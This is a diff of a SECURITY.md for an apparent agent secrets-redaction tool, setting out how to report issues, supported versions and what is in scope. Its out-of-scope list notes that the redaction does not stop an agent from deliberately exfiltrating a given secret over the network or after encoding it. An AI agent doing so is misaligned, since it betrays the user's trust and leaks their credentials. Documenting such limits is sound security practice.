+
MCP client) and a minimal reproduction. Never include real secret values; use
|
|
11
|
+
obviously fake ones.
|
|
12
|
+
|
|
13
|
+
We aim to acknowledge reports within 3 days and to ship a fix or mitigation for
|
|
14
|
+
confirmed issues within 14 days, crediting reporters who want credit.
|
|
15
|
+
|
|
16
|
+
## Supported versions
|
|
17
|
+
|
|
18
|
+
Only the latest minor release receives security fixes while the project is
|
|
19
|
+
pre-1.0.
|
|
20
|
+
|
|
21
|
+
## Scope
|
|
22
|
+
|
|
23
|
+
In scope: any path where a secret value reaches argv, logs, diagnostics, tool or
|
|
24
|
+
MCP results, hook output, the audit log, files with permissions wider than
|
|
25
|
+
`0600`, or the model's context despite redaction being enabled; auth.json
|
|
26
|
+
corruption; session token exposure.
|
|
27
|
+
|
|
28
|
+
Note on `redact-index.json`: it holds a keyed HMAC and a 32-bit rolling hash of
|
|
29
|
+
each value so hooks can redact without plaintext. Anyone who can read this
|
|
30
|
+
`0600` file can brute-force weak values offline — the same trust boundary as the
|
|
31
|
+
`bw` session file next to it, which unlocks the whole vault.
|
|
32
|
+
|
|
33
|
+
Out of scope (documented limitations, see the README's *Security model*): an
|
|
34
|
+
agent deliberately exfiltrating a value it was given (for example over the
|
|
35
|
+
network, or after encoding it); secrets shorter than 6 characters; values the
|
|
36
|
+
user prints with `get` or `env --shell` on purpose.
|
package/dist/brand.d.ts
ADDED
package/dist/brand.js
ADDED
package/dist/cli.d.ts
ADDED